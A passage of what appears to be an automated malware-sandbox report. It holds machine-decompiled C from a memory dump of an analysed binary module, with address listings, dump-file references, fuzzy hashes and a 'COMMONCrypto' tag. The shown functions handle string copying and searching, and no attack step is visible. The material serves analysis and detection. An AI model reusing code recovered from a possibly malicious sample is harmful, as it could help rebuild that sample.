							}
							_t534 = E6E684830(E6E679640(_t563 + 0x434, 0),  *_t280);
							 *((intOrPtr*)(_t563 + 0x3ec)) =  *((intOrPtr*)(_t534 + 0x10));
							E6E670B30(_t563 + 0x3e8,  *((intOrPtr*)(_t534 + 0xc)), E6E684830(E6E679640(_t563 + 0x434, 0),  *((intOrPtr*)(_t534 + 0xc))));
							_t287 = E6E684830(E6E679640(_t563 + 0x434, 0),  *((intOrPtr*)(_t534 + 0x20)));
							__eflags =  *((intOrPtr*)(_t534 + 0x18));
							if( *((intOrPtr*)(_t534 + 0x18)) > 0) {
								 *_t563 = _t370;
								_t553 = 0;
								__eflags = 0;
								 *((intOrPtr*)(_t563 + 4)) = _t559;
								_t374 = _t287;
								do {
									E6E6737E0(_t563 + 0x418, E6E684830(E6E679640(_t563 + 0x434, 0),  *((intOrPtr*)(_t374 + _t553 * 4))),  *((intOrPtr*)(_t563 + 0x410)));
									_t553 = _t553 + 1;
									__eflags = _t553 -  *((intOrPtr*)(_t534 + 0x18));
								} while (_t553 <  *((intOrPtr*)(_t534 + 0x18)));
								_t370 =  *_t563;
								_t559 =  *((intOrPtr*)(_t563 + 4));
							}
							_t289 = E6E684830(E6E679640(_t563 + 0x434, 0),  *((intOrPtr*)(_t534 + 0x24)));
							__eflags =  *((intOrPtr*)(_t534 + 0x18));
							if( *((intOrPtr*)(_t534 + 0x18)) > 0) {
								 *_t563 = _t370;
								_t552 = 0;
								__eflags = 0;
								 *((intOrPtr*)(_t563 + 4)) = _t559;
								_t561 = _t289;
								do {
									E6E679670(_t563 + 0x404, E6E679650(_t563 + 0x400) + 2);
									 *((short*)(E6E679640(_t563 + 0x404, E6E679650(_t563 + 0x400) + 0xfffffffe))) =  *(_t561 + _t552 * 2) & 0x0000ffff;
									_t552 = _t552 + 1;
									__eflags = _t552 -  *((intOrPtr*)(_t534 + 0x18));
								} while (_t552 <  *((intOrPtr*)(_t534 + 0x18)));
								_t370 =  *_t563;
								_t559 =  *((intOrPtr*)(_t563 + 4));
							}
							_t290 = E6E679640(_t563 + 0x434, 0);
							_t523 =  *((intOrPtr*)(_t534 + 0x1c));
							_t291 = E6E684830(_t290,  *((intOrPtr*)(_t534 + 0x1c)));
							__eflags =  *((intOrPtr*)(_t534 + 0x14));
							if( *((intOrPtr*)(_t534 + 0x14)) > 0) {
								 *_t563 = _t370;
								_t551 = 0;
								__eflags = 0;
								 *((intOrPtr*)(_t563 + 4)) = _t559;
								_t372 = _t291;
								do {
									E6E679670(_t563 + 0x3f4, E6E679650(_t563 + 0x3f0) + 1);
									_t324 = E6E679640(_t563 + 0x3f4, E6E679650(_t563 + 0x3f0) - 1);
									_t523 = _t324;
									__eflags =  *((intOrPtr*)(_t372 + _t551 * 4));
									_t551 = _t551 + 1;
									 *_t324 = 0 | __eflags > 0x00000000;
									__eflags = _t551 -  *((intOrPtr*)(_t534 + 0x14));
								} while (_t551 <  *((intOrPtr*)(_t534 + 0x14)));
								_t370 =  *_t563;
								_t559 =  *((intOrPtr*)(_t563 + 4));
							}
							 *_t563 = 0;
							_push(0);
							E6E679350(_t563 + 0x150);
							_t550 = _t563 + 4;
							 *((intOrPtr*)(_t550 + 0x158)) = 0;
							 *((intOrPtr*)(_t550 + 0x15c)) = 0;
							 *((intOrPtr*)(_t550 + 0x160)) = 0;
							 *((intOrPtr*)(_t550 + 0x164)) = 0;
							E6E660B70(_t550, 0, 0x40);
							E6E660B70(_t563 + 0x50, 0, 0x108);
							_t564 = _t563 + 0x18;
							_push(_t370);
							E6E683CE0(_t564 + 4, __eflags);
							_push(_t564 + 0x3e4);
							E6E684170(_t564 + 4);
							_t371 = _t564 + 0x16c;
							_push(_t371);
							E6E683EF0(_t564 + 4);
							_push(_t371);
							_t193 = _t559 + 0x10; // 0x10
							E6E679520(_t193);
							E6E679510(_t371);
							_t195 = _t559 + 8; // 0x8
							E6E670B30(_t195, _t523,  *((intOrPtr*)(_t564 + 0x454)));
							E6E670B30(_t559, _t523,  *((intOrPtr*)(_t564 + 0x44c)));
							E6E682970(_t371, _t564 + 0x15c, _t534);
							_t461 =  *((intOrPtr*)(_t564 + 0x168));
							__eflags =  *((intOrPtr*)(_t564 + 0x168));
							if( *((intOrPtr*)(_t564 + 0x168)) != 0) {
								E6E652A20(_t461, 1);
							}
							E6E679510(_t564 + 0x14c);
							E6E677560(_t564 + 0x410, _t534, _t550);
							E6E679510(_t564 + 0x400);
							E6E679510(_t564 + 0x3f0);
							E6E670B10(_t564 + 0x3e4);
							E6E679510(_t564 + 0x430);
							E6E670B10(_t564 + 0x45c);
							E6E670B10(_t564 + 0x454);
							E6E670B10(_t564 + 0x44c);
							E6E677560(_t564 + 0x440, _t534, _t550);
							return 1;
						} else {
							_t340 = E6E659E70(_t370, _t559, __eflags);
							E6E679510(_t563 + 0x430);
							E6E670B10(_t563 + 0x45c);
							E6E670B10(_t563 + 0x454);
							E6E670B10(_t563 + 0x44c);
							E6E677560(_t563 + 0x440, _t533, _t543);
							return _t340;
						}
						goto L60;
						L35:
						_t541 = _t542 + 1;
					}
				}
				L60:
			}

0x6e659e70
0x6e659e7a
0x6e659e7e
0x6e659e8e
0x6e659eb2
0x6e659eb7
0x6e659eb9
0x6e65a2cc
0x6e65a2cc
0x6e65a2d8
0x6e659ebf
0x6e659ec1
0x6e659ec6
0x6e659eca
0x00000000
0x6e659ed0
0x6e659ed0
0x00000000
0x6e659ed0
0x6e659eca
0x6e659e9d
0x6e659e9d
0x6e659ed8
0x6e659eda
0x6e659ee1
0x6e659ee8
0x6e659ef7
0x6e659f03
0x6e659f18
0x6e659f2b
0x6e659f3f
0x6e659f4f
0x6e659f56
0x6e659f62
0x6e659f6e
0x6e659f7a
0x6e659f83
0x6e659f86
0x6e659f8a
0x6e659f8d
0x6e659f94
0x6e659f99
0x6e659fa9
0x6e659fab
0x6e659faf
0x6e659fb6
0x6e659fb6
0x6e659fbd
0x6e659fc7
0x6e659fd4
0x6e659fee
0x6e659ff5
0x6e65a001
0x6e65a014
0x00000000
0x6e65a016
0x6e65a016
0x6e65a016
0x6e65a014
0x6e65a021
0x6e65a02e
0x6e65a030
0x6e65a039
0x6e65a044
0x6e65a040
0x6e65a040
0x6e65a040
0x6e65a04b
0x6e65a04e
0x6e65a04e
0x6e65a04b
0x6e65a053
0x6e65a065
0x6e65a075
0x6e65a07c
0x6e65a083
0x6e65a08f
0x6e65a09f
0x6e65a0a3
0x6e65a0a6
0x6e65a0aa
0x6e65a0ac
0x6e65a0b0
0x6e65a0c0
0x6e65a0c2
0x6e65a0cf
0x00000000
0x00000000
0x6e65a0de
0x6e65a0ea
0x6e65a10a
0x6e65a116
0x6e65a132
0x6e65a148
0x6e65a164
0x6e65a170
0x6e65a17e
0x6e65a191
0x6e65a263
0x6e65a26a
0x6e65a271
0x6e65a274
0x6e65a277
0x6e65a27c
0x6e65a284
0x6e65a28d
0x6e65a28d
0x6e65a197
0x6e65a19f
0x6e65a1a5
0x6e65a1ab
0x6e65a1af
0x6e65a1b6
0x6e65a1c3
0x6e65a1c8
0x6e65a1e4
0x6e65a1ed
0x6e65a1f2
0x6e65a1f8
0x6e65a1fa
0x6e65a203
0x6e65a207
0x00000000
0x6e65a209
0x6e65a209
0x6e65a20d
0x6e65a20f
0x6e65a20f
0x6e65a20d
0x00000000
0x6e65a207
0x6e65a212
0x6e65a212
0x6e65a213
0x6e65a21c
0x6e65a220
0x6e65a222
0x6e65a222
0x6e65a23a
0x6e65a246
0x6e65a253
0x6e65a25c
0x6e65a25c
0x6e65a253
0x6e65a299
0x6e65a2a5
0x6e65a2b8
0x6e65a2c1
0x00000000
0x6e65a2c1
0x6e65a2e2
0x6e65a2e5
0x6e65a2ee
0x6e65a300
0x6e65a322
0x6e65a32e
0x6e65a33a
0x6e65a348
0x6e65a356
0x6e65a374
0x6e65a392
0x6e65a3a0
0x6e65a3ac
0x6e65a3d1
0x6e65a3dd
0x6e65a3f9
0x6e65a40f
0x6e65a414
0x6e65a41c
0x6e65a425
0x6e65a425
0x6e65a431
0x6e65a442
0x6e65a444
0x6e65a4a3
0x6e65a4a8
0x6e65a4b1
0x6e65a4b6
0x6e65a4bf
0x6e65a4c6
0x6e65a4cd
0x6e65a4cf
0x6e65a4d2
0x6e65a4d5
0x6e65a4e1
0x6e65a4ed
0x6e65a4f2
0x6e65a4f7
0x6e65a513
0x6e65a518
0x6e65a52a
0x6e65a52f
0x6e65a52f
0x6e65a52f
0x6e65a4f9
0x6e65a50e
0x6e65a50e
0x6e65a54d
0x6e65a552
0x6e65a57b
0x6e65a595
0x6e65a59a
0x6e65a59e
0x6e65a5a0
0x6e65a5a3
0x6e65a5a3
0x6e65a5a5
0x6e65a5a9
0x6e65a5ab
0x6e65a5d4
0x6e65a5d9
0x6e65a5da
0x6e65a5da
0x6e65a5df
0x6e65a5e2
0x6e65a5e2
0x6e65a5fb
0x6e65a600
0x6e65a604
0x6e65a606
0x6e65a609
0x6e65a609
0x6e65a60b
0x6e65a60f
0x6e65a611
0x6e65a628
0x6e65a64e
0x6e65a651
0x6e65a652
0x6e65a652
0x6e65a657
0x6e65a65a
0x6e65a65a
0x6e65a66a
0x6e65a671
0x6e65a673
0x6e65a678
0x6e65a67c
0x6e65a67e
0x6e65a681
0x6e65a681
0x6e65a683
0x6e65a687
0x6e65a689
0x6e65a6a1
0x6e65a6bb
0x6e65a6c0
0x6e65a6c4
0x6e65a6c9
0x6e65a6ca
0x6e65a6cc
0x6e65a6cc
0x6e65a6d1
0x6e65a6d4
0x6e65a6d4
0x6e65a6da
0x6e65a6dd
0x6e65a6e5
0x6e65a6ec
0x6e65a6f0
0x6e65a6f6
0x6e65a6fc
0x6e65a702
0x6e65a70c
0x6e65a71d
0x6e65a722
0x6e65a725
0x6e65a72a
0x6e65a736
0x6e65a73b
0x6e65a740
0x6e65a747
0x6e65a74c
0x6e65a751
0x6e65a752
0x6e65a755
0x6e65a75c
0x6e65a768
0x6e65a76b
0x6e65a779
0x6e65a785
0x6e65a78a
0x6e65a791
0x6e65a793
0x6e65a797
0x6e65a797
0x6e65a7a3
0x6e65a7af
0x6e65a7bb
0x6e65a7c7
0x6e65a7d3
0x6e65a7df
0x6e65a7eb
0x6e65a7f7
0x6e65a803
0x6e65a80f
0x6e65a823
0x6e65a446
0x6e65a44a
0x6e65a458
0x6e65a464
0x6e65a470
0x6e65a47c
0x6e65a488
0x6e65a499
0x6e65a499
0x00000000
0x6e65a2c6
0x6e65a2c6
0x6e65a2c6
0x6e65a0ac
0x00000000

Strings

@, xrefs: 6E65A513

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6b64c559a7c39d8317051b3603e588491c36b4bc89d319a80eeb0b09a2f0d41f
Instruction ID: 59edbdb7529539f543aca8b64e1eb424e0cdfcc06f264e83b9faed981adeceb3
Opcode Fuzzy Hash: 6b64c559a7c39d8317051b3603e588491c36b4bc89d319a80eeb0b09a2f0d41f
Instruction Fuzzy Hash: 123255B02183459BDB74DFA0C860BEFB7E9AF91308F104D2D928A57191EF716905CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 6E66B71F, Relevance: 1.8, Strings: 1, Instructions: 557
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6E66B71F(signed short* __eax, signed int __edi) {
				signed short* _t212;
				unsigned int _t220;
				signed int _t221;
				signed int* _t226;
				signed short* _t230;
				unsigned int* _t232;
				unsigned int _t237;
				unsigned int _t241;
				unsigned int _t249;
				signed int _t252;
				unsigned int _t254;
				signed int _t256;
				signed int _t257;
				unsigned int* _t258;
				unsigned int _t261;
				unsigned int _t264;
				unsigned int _t270;
				signed int _t271;
				void* _t277;
				unsigned int _t280;
				signed int _t281;
				unsigned int _t285;
				signed int _t286;
				unsigned int _t288;
				signed int _t293;
				unsigned int _t294;
				signed int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t312;
				signed int _t314;
				signed int _t328;
				signed int _t330;
				unsigned int _t331;
				signed int _t333;
				signed int _t334;
				unsigned int _t335;
				unsigned int _t336;
				signed int _t339;
				unsigned int _t340;
				unsigned int _t341;
				unsigned int _t342;
				unsigned int _t347;
				void* _t348;
				signed int _t349;
				unsigned int _t350;
				unsigned int _t351;
				unsigned int _t354;
				unsigned int _t355;
				unsigned int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				void* _t360;
				signed int _t361;
				unsigned int _t362;
				unsigned int _t365;
				unsigned int* _t367;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				unsigned int* _t371;
				unsigned int _t372;
				signed int _t373;
				signed int _t375;
				unsigned int _t377;
				unsigned int _t378;
				signed int _t381;
				signed int _t382;
				signed int _t389;
				unsigned int _t392;
				signed int _t393;
				void* _t394;
				signed int _t395;
				unsigned int _t396;
				unsigned int _t399;
				unsigned int* _t400;
				unsigned int _t401;
				unsigned int _t405;
				signed int _t413;
				signed int _t415;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				unsigned int _t424;
				unsigned int _t425;
				signed int _t426;
				unsigned int _t427;
				unsigned int* _t428;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				unsigned int _t441;
				unsigned int _t442;
				unsigned int _t446;
				unsigned int _t447;
				void* _t448;
				void* _t450;
				signed int* _t451;
				signed int* _t452;

				_t413 = __edi;
				_t212 = __eax;
				if(__edi == 0) {
					L5:
					_push(2);
					_push(_t212);
					E6E6610B0();
					_t451 = _t450 + 8;
					_t451[5] = 0x40;
					_t451[4] = _t413;
					if(( *(_t448 + 0xc) & 0x0000ffff) != 0) {
						__eflags = _t413;
						if(_t413 == 0) {
							_t330 = 0x40;
							_t293 = 0;
							L21:
							_t21 = _t293 + 2; // 0x80000001
							_t360 = _t21;
							__eflags = _t360 - 0x40;
							_t361 =  <=  ? 0x40 : _t360;
							__eflags = _t330 - _t361;
							if(_t330 < _t361) {
								_t220 = (_t361 >> 5 >> 0x1a) + _t361 >> 6;
								_t362 = _t361 & 0x8000003f;
								__eflags = _t362;
								if(_t362 < 0) {
									_t362 = (_t362 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t362;
								}
								__eflags = _t362;
								_t221 = _t220 + (0 | _t362 > 0x00000000);
								_push(_t221 << 7);
								_t415 = _t221 << 6;
								_t365 = E6E661030();
								_t451 =  &(_t451[1]);
								_t331 = _t451[4];
								__eflags = _t331;
								if(_t331 == 0) {
									__eflags = 0;
									 *_t365 = 0;
									goto L34;
								} else {
									__eflags = _t365;
									if(_t365 == 0) {
										L32:
										_push(2);
										_push(_t331);
										_t451[2] = _t365;
										E6E6610B0();
										_t365 = _t451[2];
										_t451 =  &(_t451[2]);
										L34:
										_t451[5] = _t415;
										_t451[4] = _t365;
										L35:
										 *((short*)(_t365 + _t293 * 2)) =  *(_t448 + 0xc) & 0x0000ffff;
										__eflags = 0;
										_t226 =  &(_t451[4]);
										 *((short*)(_t451[4] + 2 + _t293 * 2)) = 0;
										goto L36;
									}
									_t285 =  *_t331 & 0x0000ffff;
									 *_t365 = _t285;
									__eflags = _t285;
									if(_t285 == 0) {
										goto L32;
									}
									 *_t451 = _t428;
									_t286 = 0;
									__eflags = 0;
									while(1) {
										_t286 = _t286 + 1;
										_t446 =  *(_t331 + _t286 * 4 - 2) & 0x0000ffff;
										 *(_t365 + _t286 * 4 - 2) = _t446;
										__eflags = _t446;
										if(_t446 == 0) {
											break;
										}
										_t447 =  *(_t331 + _t286 * 4) & 0x0000ffff;
										 *(_t365 + _t286 * 4) = _t447;
										__eflags = _t447;
										if(_t447 != 0) {
											continue;
										}
										break;
									}
									_t428 =  *_t451;
									goto L32;
								}
							}
							_t365 = _t451[4];
							goto L35;
						}
						_t288 = _t413 & 0x0000000f;
						__eflags = _t288;
						if(_t288 == 0) {
							L14:
							asm("pxor xmm0, xmm0");
							_t328 =  ~( ~_t288 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t328;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t359;
								if(_t359 != 0) {
									break;
								}
								_t288 = _t288 + 8;
								__eflags = _t288 - _t328;
								if(_t288 < _t328) {
									continue;
								}
								__eflags = _t328 - 0x7fffffff;
								if(_t328 >= 0x7fffffff) {
									L20:
									_t330 = 0x40;
									_t293 = 0x7fffffff;
									goto L21;
								} else {
									goto L18;
								}
								while(1) {
									L18:
									__eflags =  *(_t413 + _t328 * 2) & 0x0000ffff;
									if(( *(_t413 + _t328 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t328 = _t328 + 1;
									__eflags = _t328 - 0x7fffffff;
									if(_t328 < 0x7fffffff) {
										continue;
									}
									goto L20;
								}
								L61:
								__eflags = _t293 - 0xfffffffe;
								if(_t293 != 0xfffffffe) {
									_t330 = 0x40;
								} else {
									 *_t413 = 0;
									_t330 = _t451[5];
								}
								goto L21;
							}
							asm("bsf ebx, edx");
							_t293 = (_t328 >> 1) + _t288;
							goto L61;
						}
						_t328 = 0;
						__eflags = _t288 & 0x00000001;
						if((_t288 & 0x00000001) != 0) {
							goto L18;
						}
						_t288 =  ~_t288 + 0x10 >> 1;
						__eflags = _t288;
						while(1) {
							_t359 =  *(_t413 + _t328 * 2) & 0x0000ffff;
							__eflags = _t359;
							if(_t359 == 0) {
								goto L61;
							}
							_t328 = _t328 + 1;
							__eflags = _t328 - _t288;
							if(_t328 < _t288) {
								continue;
							}
							goto L14;
						}
						goto L61;
					} else {
						_t226 =  &(_t451[4]);
						L36:
						_t416 =  *_t226;
						if(_t416 == 0) {
							L38:
							_t367 =  *(_t448 + 8);
							_push(0x80);
							 *_t367 = 0;
							_t367[1] = 0;
							_t294 = E6E661030();
							_t451 =  &(_t451[1]);
							_t230 =  *( *(_t448 + 8));
							if(_t230 == 0) {
								 *_t294 = 0;
								L59:
								_t232 =  *(_t448 + 8);
								 *_t232 = _t294;
								_t232[1] = 0x40;
								L60:
								_push(2);
								_push(_t451[5]);
								E6E6610B0();
								_t452 =  &(_t451[2]);
								_t452[4] = 0;
								_t452[5] = 0;
								return  *(_t448 + 8);
							}
							if(_t294 == 0) {
								L44:
								_push(2);
								_push(_t230);
								E6E6610B0();
								_t451 =  &(_t451[2]);
								goto L59;
							}
							_t368 =  *_t230 & 0x0000ffff;
							 *_t294 = _t368;
							if(_t368 == 0) {
								goto L44;
							}
							_t369 = 0;
							while(1) {
								_t369 = _t369 + 1;
								_t333 =  *(_t230 + _t369 * 4 - 2) & 0x0000ffff;
								 *(_t294 + _t369 * 4 - 2) = _t333;
								if(_t333 == 0) {
									goto L44;
								}
								_t334 =  *(_t230 + _t369 * 4) & 0x0000ffff;
								 *(_t294 + _t369 * 4) = _t334;
								if(_t334 != 0) {
									continue;
								}
								goto L44;
							}
							goto L44;
						}
						_t370 =  *_t416 & 0x0000ffff;
						if(_t370 != 0) {
							_t237 =  *_t428;
							__eflags = _t237;
							if(_t237 == 0) {
								L51:
								_t371 =  *(_t448 + 8);
								_push(0x80);
								 *_t371 = 0;
								_t371[1] = 0;
								_t294 = E6E661030();
								_t451 =  &(_t451[1]);
								_t241 =  *( *(_t448 + 8));
								__eflags = _t241;
								if(_t241 == 0) {
									__eflags = 0;
									 *_t294 = 0;
									goto L59;
								}
								__eflags = _t294;
								if(_t294 == 0) {
									L57:
									_push(2);
									_push(_t241);
									E6E6610B0();
									_t451 =  &(_t451[2]);
									goto L59;
								}
								_t372 =  *_t241 & 0x0000ffff;
								 *_t294 = _t372;
								__eflags = _t372;
								if(_t372 == 0) {
									goto L57;
								}
								_t373 = 0;
								__eflags = 0;
								while(1) {
									_t373 = _t373 + 1;
									_t335 =  *(_t241 + _t373 * 4 - 2) & 0x0000ffff;
									 *(_t294 + _t373 * 4 - 2) = _t335;
									__eflags = _t335;
									if(_t335 == 0) {
										goto L57;
									}
									_t336 =  *(_t241 + _t373 * 4) & 0x0000ffff;
									 *(_t294 + _t373 * 4) = _t336;
									__eflags = _t336;
									if(_t336 != 0) {
										continue;
									}
									goto L57;
								}
								goto L57;
							}
							__eflags =  *_t237 & 0x0000ffff;
							if(( *_t237 & 0x0000ffff) == 0) {
								goto L51;
							}
							_t451[8] = _t416;
							__eflags = _t370 - 0x41 - 0x19;
							_t374 =  <=  ? _t370 + 0x20 : _t370;
							_t339 = 0;
							__eflags = 0;
							_t375 = ( <=  ? _t370 + 0x20 : _t370) & 0x0000ffff;
							_t451[3] = _t375;
							while(1) {
								_t418 =  *(_t237 + _t339 * 2) & 0x0000ffff;
								__eflags = _t418 - 0x41 - 0x19;
								_t419 =  <=  ? _t418 + 0x20 : _t418;
								__eflags = ( <=  ? _t418 + 0x20 : _t418) - _t375;
								if(( <=  ? _t418 + 0x20 : _t418) == _t375) {
									break;
								}
								_t339 = _t339 + 1;
								__eflags =  *(_t237 + _t339 * 2) & 0x0000ffff;
								if(( *(_t237 + _t339 * 2) & 0x0000ffff) != 0) {
									continue;
								}
								goto L51;
							}
							_t420 = _t451[8];
							_t340 = _t237 + _t339 * 2;
							__eflags = _t340;
							if(_t340 == 0) {
								goto L51;
							}
							_t299 = _t420 & 0x0000000f;
							asm("pxor xmm0, xmm0");
							_t377 = _t299 & 0x00000001;
							_t434 =  ~_t299 + 0x10 >> 1;
							_t451[9] = _t237;
							_t451[8] = _t420;
							while(1) {
								L67:
								_t421 = _t299;
								__eflags = _t299;
								if(_t299 == 0) {
									goto L73;
								}
								_t252 = 0;
								__eflags = _t377;
								if(_t377 != 0) {
									L77:
									_t451[7] = _t340;
									_t427 = _t451[8];
									while(1) {
										__eflags =  *(_t427 + _t252 * 2) & 0x0000ffff;
										if(( *(_t427 + _t252 * 2) & 0x0000ffff) == 0) {
											break;
										}
										_t252 = _t252 + 1;
										__eflags = _t252 - 0x7fffffff;
										if(_t252 < 0x7fffffff) {
											continue;
										}
										_t451[8] = _t427;
										_t342 = _t451[7];
										L81:
										_t252 = 0x7fffffff;
										L82:
										_t451[2] = _t252;
										_t422 = 0;
										__eflags = 0;
										 *_t451 = _t299;
										_t451[1] = _t434;
										_t451[6] = _t378;
										while(1) {
											_t300 =  *(_t342 + _t422 * 2) & 0x0000ffff;
											_t436 =  *(_t451[8] + _t422 * 2) & 0x0000ffff;
											__eflags = _t300 - 0x61 - 0x19;
											_t301 =  <=  ? _t300 - 0x20 : _t300;
											_t254 = ( <=  ? _t300 - 0x20 : _t300) & 0x0000ffff;
											__eflags = _t436 - 0x61 - 0x19;
											_t437 =  <=  ? _t436 - 0x20 : _t436;
											__eflags = _t254 - ( <=  ? _t436 - 0x20 : _t436);
											if(__eflags < 0 || __eflags > 0) {
												break;
											}
											__eflags = _t254;
											if(_t254 == 0) {
												L87:
												_t299 =  *_t451;
												_t434 = _t451[1];
												_t377 = _t451[6];
												_t257 = _t451[9];
												_t425 = _t451[8];
												L88:
												__eflags = _t342;
												if(_t342 == 0) {
													goto L51;
												}
												__eflags = _t299;
												if(_t299 == 0) {
													L95:
													_t389 =  ~( ~_t299 + 0x00000007 & 0x00000007) + 0x7fffffff;
													__eflags = _t389;
													while(1) {
														asm("movdqu xmm1, [edi+ebx*2]");
														asm("pcmpeqw xmm1, xmm0");
														asm("pmovmskb esi, xmm1");
														__eflags = _t434;
														if(_t434 != 0) {
															break;
														}
														_t299 = _t299 + 8;
														__eflags = _t299 - _t389;
														if(_t299 < _t389) {
															continue;
														}
														__eflags = _t389 - 0x7fffffff;
														if(_t389 >= 0x7fffffff) {
															L101:
															_t389 = 0x7fffffff;
															L102:
															_t441 = _t257 & 0x0000000f;
															__eflags = _t441;
															if(_t441 == 0) {
																L107:
																_t312 =  ~( ~_t441 + 0x00000007 & 0x00000007) + 0x7fffffff;
																__eflags = _t312;
																while(1) {
																	asm("movdqu xmm1, [eax+esi*2]");
																	asm("pcmpeqw xmm1, xmm0");
																	asm("pmovmskb edi, xmm1");
																	__eflags = _t425;
																	if(_t425 != 0) {
																		break;
																	}
																	_t441 = _t441 + 8;
																	__eflags = _t441 - _t312;
																	if(_t441 < _t312) {
																		continue;
																	}
																	__eflags = _t312 - 0x7fffffff;
																	if(_t312 >= 0x7fffffff) {
																		L113:
																		_t312 = 0x7fffffff;
																		L114:
																		_t347 = (_t342 - _t257 >> 1) + _t389;
																		__eflags = _t347;
																		_t348 =  <=  ? 0 : _t347;
																		__eflags = _t312 - _t348;
																		_t349 =  <  ? _t312 : _t348;
																		_t314 = _t312 - _t349;
																		_t426 = _t257 + _t349 * 2;
																		_t258 =  *(_t448 + 8);
																		 *_t258 = 0;
																		_t258[1] = 0;
																		__eflags = _t426;
																		if(_t426 == 0) {
																			L149:
																			_push(0x80);
																			_t294 = E6E661030();
																			_t451 =  &(_t451[1]);
																			_t261 =  *( *(_t448 + 8));
																			__eflags = _t261;
																			if(_t261 == 0) {
																				 *_t294 = 0;
																				goto L59;
																			}
																			__eflags = _t294;
																			if(_t294 == 0) {
																				L155:
																				_push(2);
																				_push(_t261);
																				E6E6610B0();
																				_t451 =  &(_t451[2]);
																				goto L59;
																			}
																			_t392 =  *_t261 & 0x0000ffff;
																			 *_t294 = _t392;
																			__eflags = _t392;
																			if(_t392 == 0) {
																				goto L155;
																			}
																			_t393 = 0;
																			__eflags = 0;
																			while(1) {
																				_t393 = _t393 + 1;
																				_t350 =  *(_t261 + _t393 * 4 - 2) & 0x0000ffff;
																				 *(_t294 + _t393 * 4 - 2) = _t350;
																				__eflags = _t350;
																				if(_t350 == 0) {
																					goto L155;
																				}
																				_t351 =  *(_t261 + _t393 * 4) & 0x0000ffff;
																				 *(_t294 + _t393 * 4) = _t351;
																				__eflags = _t351;
																				if(_t351 != 0) {
																					continue;
																				}
																				goto L155;
																			}
																			goto L155;
																		}
																		_t264 =  *_t426 & 0x0000ffff;
																		__eflags = _t264;
																		if(_t264 == 0) {
																			goto L149;
																		}
																		__eflags = _t314;
																		if(_t314 != 0) {
																			L129:
																			_t157 = _t314 + 1; // 0x80000000
																			_t394 = _t157;
																			__eflags = _t394 - 0x40;
																			_t395 =  <=  ? 0x40 : _t394;
																			__eflags = _t395;
																			if(_t395 > 0) {
																				_t270 = (_t395 >> 5 >> 0x1a) + _t395 >> 6;
																				_t396 = _t395 & 0x8000003f;
																				__eflags = _t396;
																				if(_t396 < 0) {
																					_t396 = (_t396 - 0x00000001 | 0xffffffc0) + 1;
																					__eflags = _t396;
																				}
																				__eflags = _t396;
																				_t271 = _t270 + (0 | _t396 > 0x00000000);
																				 *_t451 = _t271 << 6;
																				_push(_t271 << 7);
																				_t442 = E6E661030();
																				_t451 =  &(_t451[1]);
																				_t399 =  *( *(_t448 + 8));
																				__eflags = _t399;
																				if(_t399 == 0) {
																					__eflags = 0;
																					 *_t442 = 0;
																					L141:
																					_t400 =  *(_t448 + 8);
																					_t400[1] =  *_t451;
																					 *_t400 = _t442;
																					L142:
																					__eflags = _t442;
																					if(_t442 == 0) {
																						goto L60;
																					}
																					_t277 = 0;
																					while(1) {
																						_t401 =  *_t426 & 0x0000ffff;
																						_t277 = _t277 + 1;
																						 *_t442 = _t401;
																						__eflags = _t314;
																						if(_t314 == 0) {
																							goto L147;
																						}
																						__eflags = _t277 - _t314;
																						if(_t277 == _t314) {
																							 *(_t442 + 2) = 0;
																							goto L60;
																						}
																						L147:
																						__eflags = _t401;
																						if(_t401 == 0) {
																							goto L60;
																						}
																						_t442 = _t442 + 2;
																						_t426 = _t426 + 2;
																						__eflags = _t426;
																					}
																				}
																				__eflags = _t442;
																				if(_t442 == 0) {
																					L139:
																					_push(2);
																					_push(_t399);
																					E6E6610B0();
																					_t451 =  &(_t451[2]);
																					goto L141;
																				}
																				_t280 =  *_t399 & 0x0000ffff;
																				 *_t442 = _t280;
																				__eflags = _t280;
																				if(_t280 == 0) {
																					goto L139;
																				}
																				_t281 = 0;
																				__eflags = 0;
																				while(1) {
																					_t281 = _t281 + 1;
																					_t354 =  *(_t399 + _t281 * 4 - 2) & 0x0000ffff;
																					 *(_t442 + _t281 * 4 - 2) = _t354;
																					__eflags = _t354;
																					if(_t354 == 0) {
																						goto L139;
																					}
																					_t355 =  *(_t399 + _t281 * 4) & 0x0000ffff;
																					 *(_t442 + _t281 * 4) = _t355;
																					__eflags = _t355;
																					if(_t355 != 0) {
																						continue;
																					}
																					goto L139;
																				}
																				goto L139;
																			}
																			_t442 = 0;
																			goto L142;
																		}
																		_t405 = _t426 & 0x0000000f;
																		__eflags = _t405;
																		if(_t405 == 0) {
																			L122:
																			_t314 =  ~( ~_t405 + 0x00000007 & 0x00000007) + 0x7fffffff;
																			__eflags = _t314;
																			while(1) {
																				asm("movdqu xmm1, [edi+edx*2]");
																				asm("pcmpeqw xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t264;
																				if(_t264 != 0) {
																					break;
																				}
																				_t405 = _t405 + 8;
																				__eflags = _t405 - _t314;
																				if(_t405 < _t314) {
																					continue;
																				}
																				__eflags = _t314 - 0x7fffffff;
																				if(_t314 >= 0x7fffffff) {
																					L128:
																					_t314 = 0x7fffffff;
																					goto L129;
																				} else {
																					goto L126;
																				}
																				while(1) {
																					L126:
																					__eflags =  *(_t426 + _t314 * 2) & 0x0000ffff;
